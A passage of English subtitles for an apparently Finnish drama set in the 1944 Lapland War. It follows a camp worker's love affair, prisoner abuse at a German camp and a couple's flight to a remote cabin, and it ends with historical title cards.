Mother gave travellers ant baths

01:03:01.823 --> 01:03:04.837
ate raw birds and fish.

01:03:12.459 --> 01:03:14.879
Mother died giving birth to me.

01:03:19.758 --> 01:03:22.606
Father never forgave me.

01:03:31.520 --> 01:03:34.237
My father was killed, too.

01:03:36.400 --> 01:03:39.247
But he was not a good father.

01:03:43.907 --> 01:03:47.122
You are hot-blooded.

01:03:48.871 --> 01:03:50.626
Just like me!

01:04:15.147 --> 01:04:17.318
I can still taste you.

01:04:21.278 --> 01:04:24.126
- Have you eaten fruit?
- What?

01:04:24.656 --> 01:04:27.124
You smell fruitful.

01:05:06.782 --> 01:05:08.869
I love you.

01:05:24.007 --> 01:05:27.804
♪ Greetings from the open
Foaming Sea ♪

01:05:27.970 --> 01:05:31.683
♪ The shore's nowhere in sight ♪

01:05:31.932 --> 01:05:35.812
♪ The wind howls wild
Even a sailor takes fright ♪

01:05:35.978 --> 01:05:39.157
♪ When the stormy weather blows ♪

01:05:39.439 --> 01:05:43.532
♪ I keep thinking of you out here ♪

01:05:43.735 --> 01:05:47.081
♪ Ah, ah, thinking of you ♪

01:05:47.364 --> 01:05:50.746
♪ The sparkle of your eyes of blue ♪

01:05:50.993 --> 01:05:54.670
♪ And your golden curls ♪

01:05:54.913 --> 01:05:58.507
♪ And I sing my song to you ♪

01:06:52.679 --> 01:06:57.021
Can you love me despite
what happened

01:06:57.559 --> 01:06:59.730
if it is true?

01:07:00.312 --> 01:07:04.108
I will. I can't do otherwise.

01:07:07.569 --> 01:07:09.242
We're leaving.

01:07:09.655 --> 01:07:11.826
- You want to?
- I do.

01:07:12.282 --> 01:07:15.331
Listen carefully,
I've arranged things.

01:07:15.702 --> 01:07:18.253
Rovaniemi for two days.

01:07:21.667 --> 01:07:24.170
You are safe, you are a Finn.

01:07:24.628 --> 01:07:27.132
You just have to trust me.

01:07:28.340 --> 01:07:30.559
Remember the Dead Man's Cabin.

01:07:30.801 --> 01:07:32.935
If the war ever separates us,

01:07:33.154 --> 01:07:34.432
wait for me there.

01:07:34.596 --> 01:07:39.235
- It'd be good to live there.
- I promise to come back.

01:08:07.796 --> 01:08:09.884
I love thee.

01:08:11.216 --> 01:08:13.221
Please come back.

01:09:00.682 --> 01:09:02.522
They're from the camp.

01:09:02.851 --> 01:09:06.066
Jew, soldiers, politruks.

01:09:07.231 --> 01:09:10.529
- Are you involved in this?
- No.

01:09:10.943 --> 01:09:13.078
But you are, and Johannes.

01:09:14.279 --> 01:09:16.534
They used to kill and bury you.

01:09:16.823 --> 01:09:20.750
Now they dig up and destroy
corpses to leave no evidence.

01:09:21.203 --> 01:09:23.588
Insane business!

01:09:24.039 --> 01:09:27.385
It's the Devil's doing, Satan's work.

01:09:28.168 --> 01:09:29.841
The times are changing.

01:09:30.504 --> 01:09:32.924
You think it won't touch you.

01:09:33.423 --> 01:09:36.271
But you may come to a sad end.

01:09:57.990 --> 01:10:01.336
- Wrong things happen at the camp.
- True.

01:10:03.370 --> 01:10:05.458
You can't accept it.

01:10:09.960 --> 01:10:14.101
- Your job is just to help those women.
- How?

01:10:18.302 --> 01:10:21.516
Any way we can.
God gave you a gift.

01:10:21.680 --> 01:10:23.436
Use it!

01:10:25.893 --> 01:10:29.025
They poison the prisoners at night.

01:10:30.564 --> 01:10:35.155
Gödel makes tests
with the unborn babies.

01:10:36.236 --> 01:10:39.618
And I see how they screw the women.

01:10:40.741 --> 01:10:43.291
By force, without leave.

01:10:44.870 --> 01:10:48.002
Some prisoners are given injections.

01:10:48.165 --> 01:10:50.466
Straight in the back,

01:10:50.542 --> 01:10:53.260
in the hip, the buttocks.

01:10:54.796 --> 01:10:56.599
Sometimes I think

01:10:56.673 --> 01:10:59.603
someone has put
in the drinks I give

01:11:00.511 --> 01:11:03.892
cholera, or some other plague.

01:11:04.139 --> 01:11:06.939
They died so fast.

01:11:15.275 --> 01:11:16.996
I was

01:11:17.069 --> 01:11:19.156
chosen by God.

01:11:19.404 --> 01:11:21.077
I was

01:11:21.156 --> 01:11:22.912
a child of God.

01:11:25.369 --> 01:11:28.003
And now I am an Angel of Death.

01:11:31.834 --> 01:11:35.297
You think you're better
than we others.

01:11:37.464 --> 01:11:39.137
You aren't.

01:12:05.576 --> 01:12:08.755
Russian prisoner, number 1322.

01:12:10.330 --> 01:12:12.133
Malnourished, won't talk.

01:12:12.249 --> 01:12:15.927
Anaemia: iron deficiency.
Premature childbirth.

01:12:16.336 --> 01:12:19.516
- Did the foetus die?
- It did.

01:12:20.716 --> 01:12:22.436
You do talk.

01:12:22.885 --> 01:12:24.806
And Finnish!

01:12:25.888 --> 01:12:29.482
Good. What's your name?

01:12:31.435 --> 01:12:33.107
Heta.

01:12:33.187 --> 01:12:36.366
Are you Finnish?

01:12:38.192 --> 01:12:40.161
From Kirkkoniemi?

01:12:42.237 --> 01:12:44.456
You're Heta! I know you!

01:12:44.573 --> 01:12:47.421
Jouni's been looking
for you like mad.

01:12:48.118 --> 01:12:49.715
I'll send him a word right away.

01:12:50.011 --> 01:12:52.590
- He'll come to get you.
- Don't.

01:12:52.721 --> 01:12:56.259
Don't tell him I'm like this.

01:12:59.880 --> 01:13:03.012
I'll get you into other ward.

01:13:03.967 --> 01:13:07.147
So you don't have to be
here in the Cowshed.

01:13:07.304 --> 01:13:10.685
But Jouni's been looking
for you like crazy.

01:13:38.752 --> 01:13:40.555
Slop!

01:13:45.425 --> 01:13:48.225
A Finnish woman is
among the prisoners.

01:14:00.357 --> 01:14:03.536
A Finnish woman is
also among the prisoners.

01:14:03.652 --> 01:14:07.709
Heta Knepps.
You may not take Finns.

01:14:08.240 --> 01:14:10.292
We don't know where she's from.

01:14:10.367 --> 01:14:14.329
She speaks Finnish.
And you do tests on her.

01:14:14.496 --> 01:14:17.082
You can't put her in the Cowshed.

01:14:18.959 --> 01:14:21.676
We won't. For now.

01:14:21.962 --> 01:14:26.636
She can be a control case
for the rest of the scum.

01:14:29.261 --> 01:14:32.725
Our tests benefit
the whole of humanity.

01:14:34.474 --> 01:14:36.396
Think about

01:14:37.102 --> 01:14:39.356
what ails mankind.

01:14:40.939 --> 01:14:42.742
Cholera.

01:14:43.734 --> 01:14:45.739
Typhus, disease.

01:14:46.528 --> 01:14:48.331
The plague.

01:14:49.615 --> 01:14:52.165
We fight them here

01:14:52.701 --> 01:14:55.880
with our small contribution.

01:15:02.085 --> 01:15:04.766
Can I move her or not?

01:15:06.882 --> 01:15:08.887
One more thing.

01:15:09.635 --> 01:15:11.806
You lied to me.

01:15:13.722 --> 01:15:16.522
You never were at the other camps.

01:15:22.981 --> 01:15:27.241
No one lies to me
without consequences.

01:15:27.945 --> 01:15:29.914
Get out, please.

01:15:42.459 --> 01:15:44.595
You'll be transferred tomorrow.

01:15:44.711 --> 01:15:48.093
I'll send a word to Jouni.
He'll come to fetch us.

01:15:48.257 --> 01:15:50.059
Sleep now.

01:15:50.133 --> 01:15:51.806
And stay alive.

01:16:12.823 --> 01:16:14.495
Open the door!

01:16:15.242 --> 01:16:17.579
Get in! Faster, you swine!

01:16:17.703 --> 01:16:20.337
Get in! Shut the door!

01:16:21.582 --> 01:16:23.384
Get in! Faster!

01:16:26.086 --> 01:16:27.889
Shut the door!

01:16:31.175 --> 01:16:34.971
Today, our delegation in Moscow

01:16:35.220 --> 01:16:39.480
signed an agreement
on the armistice

01:16:39.641 --> 01:16:43.782
with the Soviet Union
and the United Kingdom.

01:16:45.939 --> 01:16:49.736
A serious matter is
that we must disarm

01:16:49.943 --> 01:16:55.496
the German troops in our country
and hand them over to the Allies.

01:16:55.741 --> 01:16:59.751
Despite this, we must quickly

01:16:59.953 --> 01:17:03.833
demobilise our forces.

01:17:06.001 --> 01:17:09.679
The terms of the armistice
contain 23 separate points.

01:17:09.755 --> 01:17:12.223
Did you hear? Peace.

01:17:12.299 --> 01:17:15.229
To be correctly understood...

01:17:17.554 --> 01:17:21.018
Put the Russians
in the prison barracks.

01:17:21.225 --> 01:17:23.942
The women from
the Cowshed into the yard

01:17:24.061 --> 01:17:28.071
and the Finns in rows in the middle.

01:17:29.107 --> 01:17:32.904
All documents in the hospital
must be burned.

01:17:33.445 --> 01:17:36.126
Get the Finns to help you!

01:17:37.115 --> 01:17:39.037
Move it!

01:17:41.787 --> 01:17:45.583
God dammit! This is bad.

01:17:45.916 --> 01:17:49.428
The Germans won't bloody
leave without a fight.

01:17:57.094 --> 01:17:58.848
Get in there.

01:17:59.110 --> 01:18:02.100
Jouni will come for you.
Meanwhile, stay out of sight.

01:18:02.182 --> 01:18:04.982
- They'll find me here.
- They won't.

01:18:06.937 --> 01:18:10.817
That's for the drugs and
injections given to the prisoners.

01:18:10.899 --> 01:18:14.447
The Germans fear
they'll catch the plague.

01:18:51.565 --> 01:18:53.237
Lights out!

01:20:16.567 --> 01:20:19.829
You know where the documents are.

01:20:19.987 --> 01:20:21.911
The tests. Destroy everything.

01:20:21.918 --> 01:20:24.459
Give me the key to the safe.

01:20:25.338 --> 01:20:26.998
I don't have it.

01:20:28.912 --> 01:20:30.752
Give me the key.

01:20:40.215 --> 01:20:41.888
Locked.

01:20:50.559 --> 01:20:55.862
Take the safe outside
and blow it open.

01:21:01.236 --> 01:21:03.656
You stupid woman.

01:21:11.246 --> 01:21:14.295
I won’t do Satan's work
for you any more.

01:21:18.795 --> 01:21:21.643
I won’t do Satan's work
for you any more.

01:21:24.301 --> 01:21:27.564
- Fetch explosives and blow up...
- I understand.

01:21:27.679 --> 01:21:29.352
I won't do it.

01:21:30.974 --> 01:21:33.026
Do your death work yourself!

01:21:33.101 --> 01:21:35.819
I won’t do Satan's work
for you any more!

01:21:35.896 --> 01:21:38.445
Do your death work yourself!
I won't be part of this war any more.

01:21:38.661 --> 01:21:40.701
I won't be part of it!

01:21:40.776 --> 01:21:43.196
You hear? I won't be part of it.

01:21:43.278 --> 01:21:45.657
Kill them yourself!
I won't do it any more!

01:21:45.835 --> 01:21:48.498
Do your death work yourself!

01:21:49.284 --> 01:21:52.547
I won’t be part of this war.

01:24:14.555 --> 01:24:16.809
By height order.

01:24:18.141 --> 01:24:20.906
All prisoners in rows
by height order.

01:24:48.797 --> 01:24:50.470
We will leave tomorrow.

01:24:50.924 --> 01:24:53.179
I'll come for you in the morning.

01:25:02.644 --> 01:25:05.492
You're under arrest!
For court-martial!

01:25:25.709 --> 01:25:29.221
This woman is guilty
of aiding a prisoner.

01:25:31.673 --> 01:25:33.476
We made a head count.

01:25:33.800 --> 01:25:38.439
The Finnish woman you helped
escaped last night.

01:25:42.184 --> 01:25:44.485
I know nothing of it.

01:25:47.940 --> 01:25:50.241
I must punish you.

01:27:53.398 --> 01:27:56.281
I could kill you.
But I don't want to.

01:27:56.527 --> 01:27:58.662
Johannes will avenge me!

01:27:59.488 --> 01:28:01.291
Johannes

01:28:01.615 --> 01:28:04.035
is either a prisoner or dead.

01:28:04.284 --> 01:28:09.504
The Russians are less
than 10 krn away, advancing fast.

01:28:12.334 --> 01:28:14.469
I am sorry.

01:29:39.421 --> 01:29:41.177
Are you all right?

01:29:42.549 --> 01:29:44.471
Your back looks bad.

01:29:48.180 --> 01:29:51.110
We must flee. Give me my glasses.

01:29:51.266 --> 01:29:56.107
We don't have much time.
Or they will kill me

01:29:56.188 --> 01:29:59.984
and burn you in the storeroom.
Wait here, take out the gun.

01:30:00.067 --> 01:30:02.570
We are escaping now.

01:30:22.214 --> 01:30:24.349
Help me escape.

01:30:29.513 --> 01:30:31.981
I'm not afraid of guns any more.

01:30:34.726 --> 01:30:37.609
Three years in this hole.

01:30:42.860 --> 01:30:44.662
I will help you.

01:30:55.581 --> 01:30:57.550
He's alive.

01:30:58.292 --> 01:31:00.676
Kill him! Kill!

01:31:11.221 --> 01:31:13.476
I'm not a butcher.

01:31:13.807 --> 01:31:15.528
Let's go!

01:32:21.250 --> 01:32:25.473
PARKKINA / PECHENGA HARBOUR
THE ARTIC OCEAN - FINLAND 12 SEPTEMBER 1944

01:32:30.926 --> 01:32:33.346
Get into a shelter.

01:32:33.720 --> 01:32:35.560
I'll find us some food.

01:33:03.125 --> 01:33:05.889
The hell you're doing here?

01:33:08.505 --> 01:33:10.760
Things got hot in Finland

01:33:10.966 --> 01:33:14.098
trying to find Heta
in the camp and the ports.

01:33:16.180 --> 01:33:18.765
Russkies came with such force

01:33:18.849 --> 01:33:22.776
they almost got the Fritzes crying.

01:33:26.148 --> 01:33:29.825
Didn't give me the good eye, either.

01:33:34.531 --> 01:33:36.417
Is it you, Jouni?

01:33:50.797 --> 01:33:52.470
Heta?

01:33:52.925 --> 01:33:54.846
Yes.

01:33:57.846 --> 01:34:00.812
I've been looking for you.

01:34:03.227 --> 01:34:06.821
Come closer if you promise
not to look at me.

01:34:17.407 --> 01:34:20.789
- Hair's gone.
- Don't ask.

01:34:23.914 --> 01:34:27.342
I won't, if you don't want me to.

01:34:38.428 --> 01:34:42.023
I've been running everywhere

01:34:42.182 --> 01:34:45.480
and you are here.

01:34:49.857 --> 01:34:53.320
Sometimes things turn out well.

01:34:59.783 --> 01:35:01.871
This German boat goes to Narvik.

01:35:02.035 --> 01:35:05.666
I paid them to take you to the cabin.
But be careful.

01:35:05.873 --> 01:35:09.716
Life is cheap now,
don't trust anyone.

01:35:09.835 --> 01:35:13.512
I'll take Heta to safety,
and come for you.

01:37:22.092 --> 01:37:24.144
Who is it?

01:37:29.641 --> 01:37:31.528
Who is it?

01:37:34.563 --> 01:37:38.490
What are you afraid of?
You're fine.

01:37:40.068 --> 01:37:42.405
Love sure tastes sweet but

01:37:42.654 --> 01:37:45.537
it hurts my soul to leave you,
Wildeye.

01:37:45.991 --> 01:37:48.162
Carve a pair of skis for me.

01:37:48.368 --> 01:37:50.041
For the winter.

01:37:51.163 --> 01:37:53.797
I won’t! You'll die anyway.

01:37:55.375 --> 01:37:57.048
If I die, I die.

01:37:57.586 --> 01:37:59.971
But now, take me to Björne's store.

01:38:03.217 --> 01:38:05.934
He must have a third eye
for the bad times.

01:38:06.011 --> 01:38:08.692
How would he guess
we'd be coming today?

01:38:08.931 --> 01:38:10.055
I told him.

01:38:10.314 --> 01:38:12.941
Take it easy inside,
don't ask questions.

01:38:13.060 --> 01:38:15.112
Tell you later.

01:38:15.437 --> 01:38:18.237
When Lispetti gave birth
to the negro

01:38:18.398 --> 01:38:22.159
I said now I've seen it all.

01:38:50.305 --> 01:38:52.385
These will get you to Sweden

01:38:52.397 --> 01:38:54.232
and over the sea to Southern Finland.

01:38:54.309 --> 01:38:56.480
We'll leave Johannes' passport
at the cabin.

01:38:56.562 --> 01:38:59.492
He'll find it there
if he's still alive.

01:39:00.357 --> 01:39:02.742
- He has a Finnish passport?
- Yes.

01:39:03.026 --> 01:39:06.075
Got him a Finnish birth certificate.

01:39:48.322 --> 01:39:50.409
Damn you, Wildeye.

01:39:51.700 --> 01:39:53.871
Follow the swamp to the sea.

01:39:57.789 --> 01:39:59.039
You know why

01:39:59.297 --> 01:40:02.464
I never had to go to the war?

01:40:04.421 --> 01:40:08.265
Shot a bullet in my leg
through a block of wood.

01:40:13.514 --> 01:40:15.353
I'm a coward.

01:40:18.060 --> 01:40:20.065
I knew about it.

01:40:30.197 --> 01:40:33.127
You're not a coward, brother.

01:40:36.203 --> 01:40:38.173
Just plain crazy.

01:40:54.179 --> 01:40:56.350
We'll see again soon!

01:41:17.369 --> 01:41:19.172
It's cold.

01:41:19.621 --> 01:41:21.923
I'll make a fire for Johannes.

01:41:34.720 --> 01:41:37.354
So you stayed here to die.

01:41:44.146 --> 01:41:47.243
Take it easy. Sit.

01:41:51.862 --> 01:41:54.163
I'm not afraid of dying.

01:41:54.448 --> 01:41:57.794
I wouldn't move around much, though.

01:41:58.493 --> 01:42:01.673
Gorges full of SS bomb units.

01:42:01.747 --> 01:42:06.338
Russians at the Teno already,
German patrols all the way from Alta.

01:42:07.836 --> 01:42:11.798
Fritzes burn up Lapland
as they retreat.

01:42:12.841 --> 01:42:17.480
Told me to slaughter everyone
I find in these fjords.

01:42:17.930 --> 01:42:20.433
And they pay me well.

01:42:21.558 --> 01:42:25.734
They will burn this cabin, too.
And you, when they find you.

01:42:27.105 --> 01:42:31.328
The axe is outside.
And you have no gun.

01:42:31.443 --> 01:42:34.326
No guns, no.

01:42:36.823 --> 01:42:38.745
Don't kill me.

01:42:53.507 --> 01:42:55.726
Now you have one.

01:43:04.518 --> 01:43:08.445
Left the bullets on a rock outside.

01:43:10.816 --> 01:43:14.244
You just might be crazy enough
to shoot me.

01:43:15.946 --> 01:43:20.952
Dried meat, tinned British beef,
a keg of rum.

01:43:27.457 --> 01:43:29.961
Your father told me
to give this to you.

01:43:30.043 --> 01:43:33.341
Killed him a year ago. I had to.

01:43:34.173 --> 01:43:36.343
A good man, though.

01:43:37.593 --> 01:43:42.184
Watched over you,
regretted everything.

01:43:43.348 --> 01:43:45.188
Forgive me.

01:45:25.868 --> 01:45:29.830
TWO MONTHS LATER

01:47:10.014 --> 01:47:13.312
Hey! Where're you going?

01:47:13.851 --> 01:47:15.820
Stop! Do you hear?

01:47:16.603 --> 01:47:18.525
Volodka, who is he?

01:47:20.692 --> 01:47:22.495
Show me your papers.

01:47:22.901 --> 01:47:25.915
Did you lose your keys?

01:47:26.822 --> 01:47:28.661
Stand back.

01:47:29.199 --> 01:47:31.085
I'll open the door.

01:47:31.243 --> 01:47:33.129
Right. Come here.

01:47:34.288 --> 01:47:36.008
Alarm!

01:47:36.206 --> 01:47:39.754
A prisoner escapes!

01:49:19.351 --> 01:49:22.815
Men! Our orders are
to burn the house.

01:49:23.230 --> 01:49:26.943
I say we lock it up first,
and call Ifjord.

01:49:27.025 --> 01:49:28.828
All right?

01:50:11.653 --> 01:50:14.371
I will write a few more lines.

01:50:15.157 --> 01:50:17.209
There is no more food.

01:50:17.492 --> 01:50:19.913
I even ate the candle.

01:50:20.245 --> 01:50:22.582
Darling, it was not tasty.

01:50:23.999 --> 01:50:28.222
I will die now, knowing
that you are on your way here.

01:50:29.505 --> 01:50:31.889
If you were here

01:50:31.965 --> 01:50:35.228
we would talk at the same time

01:50:36.011 --> 01:50:39.772
as lovers do when they meet again.

01:50:40.974 --> 01:50:44.320
I will smile, happy, and...

01:51:42.035 --> 01:51:43.708
I am here.

01:51:45.080 --> 01:51:47.880
Good that you are here.

01:51:51.670 --> 01:51:55.098
You took your bloody time.

01:52:19.531 --> 01:52:21.334
I carry...

01:52:22.327 --> 01:52:25.673
I carry our child inside me.

01:52:27.332 --> 01:52:29.800
It is a quiet one.

01:52:30.501 --> 01:52:33.514
I can't feel its heartbeat any more.

01:52:36.465 --> 01:52:39.099
I was so afraid

01:52:40.345 --> 01:52:43.192
and now you saved us.

01:53:21.468 --> 01:53:23.473
I cooked for you.

01:53:31.562 --> 01:53:33.531
Bloody hell.

01:53:34.773 --> 01:53:36.944
I put the candle in it.

01:53:42.489 --> 01:53:46.036
Do you want to love a man like me?

01:53:47.078 --> 01:53:49.878
I'm sure I don't.

01:53:50.038 --> 01:53:52.886
But I do love you so.

01:54:24.782 --> 01:54:27.286
I feel like I am resurrected.

01:54:27.743 --> 01:54:31.041
Now to Sweden
and then to safety in Finland.

01:54:31.538 --> 01:54:35.335
We'll be always together. Always.

01:54:38.629 --> 01:54:41.559
Now I have nothing more to tell.

01:54:45.302 --> 01:54:48.648
HELENA ALATALO AND
JOHANNES ANGELHURST ESCAPED

01:54:48.722 --> 01:54:51.522
FROM THE DEAD MAN'S CABIN
ON 19 NOVEMBER 1944.

01:54:51.600 --> 01:54:54.613
THEY WERE MARRIED IN SWEDEN,
BUT RETURNED TO FINLAND

01:54:54.686 --> 01:54:58.068
AND STARTED A FAMILY IN TURTOLA
IN THE VALLEY OF TORNIONJOKI.

01:54:58.149 --> 01:55:00.997
THE LAPLAND WAR ENDED
WITH THE WITHDRAWAL

01:55:01.068 --> 01:55:05.244
OF THE LAST GERMAN TROOPS FROM
NORTHWEST FINLAND ON 27 APRIL 1945.

01:55:08.408 --> 01:55:11.623
MOST OF THE WOMEN ACCOMPANYING
THE GERMAN SOLDIERS

01:55:11.703 --> 01:55:15.547
WERE ABANDONED IN NORWAY - ONLY A
FRACTION OF THEM REACHED GERMANY.

01:55:16.167 --> 01:55:18.931
THE NEW FINNISH SOCIAL ORDER
DID NOT RECOGNIZE

01:55:19.002 --> 01:55:22.182
THE STATUS OF THE APPROXIMATELY
700 CHILDREN BORN

01:55:22.256 --> 01:55:25.352
OUT OF THE RELATIONSHIPS BETWEEN
THE GERMANS AND THE FINNISH WOMEN.

ZeroDay Forums Mini